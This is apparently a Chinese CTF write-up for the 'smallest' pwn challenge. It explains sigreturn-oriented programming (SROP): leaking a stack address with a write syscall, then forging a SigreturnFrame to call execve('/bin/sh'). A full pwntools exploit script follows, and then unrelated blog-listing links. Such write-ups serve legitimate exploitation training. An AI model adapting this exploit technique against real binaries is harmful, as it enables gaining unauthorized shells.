前言

srop 的作用比较强,在条件允许的情况下,尽量使用它。题目来自于 i春秋的一个比赛。

题目链接:

https://gitee.com/hac425/blog_data/blob/master/smallest

正文

程序非常的简单



使用 syscall 进行系统调用,往 rsp 读入数据,然后 ret, 直接就可以控制 rip.

程序非常的小,除了 这里基本没有代码,但是我们有 syscallsrop利用之。首先明确目标。

execve(“/bin/sh”, 0, 0)

syscall 的传参顺序为

rdi,rsi,rdx,rcx,r8, r9

然后 rax 存放 系统调用号 以及 syscall 的返回值。

所以我们需要设置

rax=59
rdi---> /bin/sh
rsi=0
rdx=0

然后 syscall.就可以拿到 shell 了。

使用 srop 我们可以控制所有的寄存器的值。

所以我们需要一个可写的地址在一次srop结束后设置为 rsp.

下面根据 exp 进行讲解

首先是通过栈中环境变量,泄露栈的地址,得到一个可写的地址,用于 srop 时设置 rsp.

因为 write 的系统调用号 为 1, 而且 stdout 也为 1, 这样我们输入一个字符。然后通过 rop 跳到

mov     rdi, rax        ; fd
syscall

我们就能 调用 write(1,rsi,rdx), 此时的 rsi 就是栈的地址,rdx 则为 0x400,我们就能 拿到 栈的地址。

有一点需要注意的是,我们需要事先布置好栈数据,然后再次进入 start, 控制 rax.因为我们要控制的 rax 值小于 我们需要布置的数据的长度。

again = 0x4000B0         #xor     rax, rax
rdi_rsi_sys = 0x04000BB # mov rdi, rax payload = p64(again)
payload += p64(rdi_rsi_sys)
payload += p64(again) # addr for after leak p.send(payload)
sleep(0.2) log.info("set stack for call write(1,....)")
# pause() p.send('\xbb')
data = p.recv()
sleep(0.2) stack_addr = u64(data[0x10:0x18]) - 0x253
log.info(hex(stack_addr)) log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)")

然后就是 srop 了。首先使用 srop 修改 rsp到 我们 一个刚刚泄露的地址.设置好 /bin/sh, 这么做的原因是,在一个确定地址处设置好 /bin/sh,用于后面 getshell.

然后又回到开头,设置 SigreturnFrame, 此时已经可以确定/bin/sh 的地址了。设置好 寄存器。srop之后,再次 syscall 执行

execve(“/bin/sh”, 0, 0)

最后

很多东西调试一遍就清楚了。调试 exp, 写一点就调试一点。srop 时 ,栈顶开始为 SigreturnFrame.

参考:

http://blog.csdn.net/qq_29343201/article/details/72627439

完整的 exp

from pwn import *
from time import sleep
context(os='linux', arch='amd64', log_level='debug') p = process("./smallest") # gdb.attach(p, '''
# bp *0x004000BE # ''')
pause() again = 0x4000B0 #xor rax, rax
rdi_rsi_sys = 0x04000BB # mov rdi, rax payload = p64(again)
payload += p64(rdi_rsi_sys)
payload += p64(again) # addr for after leak p.send(payload)
sleep(0.2) log.info("set stack for call write(1,....)")
# pause() p.send('\xbb')
data = p.recv()
sleep(0.2) stack_addr = u64(data[0x10:0x18]) - 0x253
log.info(hex(stack_addr)) log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)") # pause() # swtch rsp ---> to leak addr, for get /bin/sh addr frame = SigreturnFrame()
frame.rsp = stack_addr # after sigretrun, rsp
frame.rip = again # ret to begin
payload = p64(again)
payload += 'd' * 8
payload += str(frame) sleep(0.2)
p.send(payload) syscall_addr = 0x04000BE payload = p64(syscall_addr)
payload += '\x11' * (15 - len(payload)) pause()
sleep(0.2)
p.send(payload) log.info("switch stack done")
pause() payload = p64(again)
payload += "B" * 8 frame = SigreturnFrame()
frame.rsp = stack_addr # after sigretrun, rsp
frame.rip = syscall_addr # ret to begin frame.rax = 59 frame.rdi = stack_addr + 0x10 + 0xf8 payload += str(frame)
payload += "/bin/sh\x00" p.send(payload)
pause() payload = p64(syscall_addr)
payload += '\x11' * (15 - len(payload))
p.send(payload) p.interactive()

srop实战的更多相关文章

  1. SSH实战 · 唯唯乐购项目(上)

    前台需求分析 一:用户模块 注册 前台JS校验 使用AJAX完成对用户名(邮箱)的异步校验 后台Struts2校验 验证码 发送激活邮件 将用户信息存入到数据库 激活 点击激活邮件中的链接完成激活 根 ...

  2. GitHub实战系列汇总篇

    基础: 1.GitHub实战系列~1.环境部署+创建第一个文件 2015-12-9 http://www.cnblogs.com/dunitian/p/5034624.html 2.GitHub实战系 ...

  3. MySQL 系列(四)主从复制、备份恢复方案生产环境实战

    第一篇:MySQL 系列(一) 生产标准线上环境安装配置案例及棘手问题解决 第二篇:MySQL 系列(二) 你不知道的数据库操作 第三篇:MySQL 系列(三)你不知道的 视图.触发器.存储过程.函数 ...

  4. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  6. asp.net core 实战之 redis 负载均衡和"高可用"实现

    1.概述 分布式系统缓存已经变得不可或缺,本文主要阐述如何实现redis主从复制集群的负载均衡,以及 redis的"高可用"实现, 呵呵双引号的"高可用"并不是 ...

  7. Linux实战教学笔记08:Linux 文件的属性(上半部分)

    第八节 Linux 文件的属性(上半部分) 标签(空格分隔):Linux实战教学笔记 第1章 Linux中的文件 1.1 文件属性概述(ls -lhi) linux里一切皆文件 Linux系统中的文件 ...

  8. Linux实战教学笔记07:Linux系统目录结构介绍

    第七节 Linux系统目录结构介绍 标签(空格分隔):Linux实战教学笔记 第1章 前言 windows目录结构 C:\windows D:\Program Files E:\你懂的\精品 F:\你 ...

  9. Linux实战教学笔记06:Linux系统基础优化

    第六节 Linux系统基础优化 标签(空格分隔):Linux实战教学笔记-陈思齐 第1章 基础环境 第2章 使用网易163镜像做yum源 默认国外的yum源速度很慢,所以换成国内的. 第一步:先备份 ...

随机推荐

  1. Linux开发端口的基本操作命令

    Linux端口操作命令 查看开放端口:firewall-cmd --list-all 开发8080端口 --permanent 代码永久开发:firewall-cmd --add-port=8080/ ...

  2. Android之从TCP/IP、HTTP看Socket通信

    1.概念 TCP/IP:属于传输层/网络层协议.手机能够使用联网功能是因为手机底层实现了TCP/IP协议,可以使手机终端通过无线网络建立TCP连接.TCP协议可以对上层网络提供接口,使上层网络数据的传 ...

  3. 虚拟网络编辑器的知识和出现的一些问题(没有VMnet0或VMnet8)

    不多说,直接上干货! 安装好的虚拟机,没有VMnet0!!! 解决的办法: 就可以了. 那么,问题现在又来了? 但是,每次都要这样,以右键,管理员身份运行,再关闭之后,以普通双击方式,即又没有VMne ...

  4. Python -- Gui编程 -- Qt库的使用 -- 布局与基本控件

    1.垂直布局,水平布局和网格布局 import sys from PyQt4 import QtCore, QtGui class MyWindow(QtGui.QWidget): def __ini ...

  5. centos6 内网可达,外网不可达 Network is unreachable

    错误内容 [root@djx-2 yum.repos.d]# ping 3.0.82.21 connect: Network is unreachable [root@djx-2 yum.repos. ...

  6. ibatis(sqlmap)中 #与$的使用区别

    在sqlmap文件中不使用“#VALUE#”来原样(参数对应什么类型,就当什么类型,比如拼凑的内容为string则自动加上了‘’)读取,而是$VALUE$方式来读取,即不加任何的东西,比如单引号啥的, ...

  7. 转载《浅析MVC框架中View层的优雅设计及实例》

    在基于B/S的应用程序开发中,从基本的技术分工上来说就是两大块,一是软件显示界面,另一个是程序逻辑.在N年前的脚本语言时代,无论是asp.php还是jsp,我们基本是都是把这两者柔和在一起的.尽管我们 ...

  8. spring boot集成阿里云短信发送接收短信回复功能

    1.集成阿里云通信发送短信: 在pom.xml文件里添加依赖 <!--阿里短信服务--> <dependency> <groupId>com.aliyun</ ...

  9. docker-compose.yml样例(mysql主从+mycat读写分离)

    Docker-compose.yml文件示例 1.mysql主从复制的docker-compose.yml文件 # cat docker-compose.yml version: '2' # 这个ve ...

  10. 用java做操作系统内核:软盘读写

    在前两节,我们将一段代码通过软盘加载到了系统内存中,并指示cpu执行加入到内存的代码,事实上,操作系统内核加载也是这么做的.只不过我们加载的代码,最大只能512 byte, 一个操作系统内核,少说也要 ...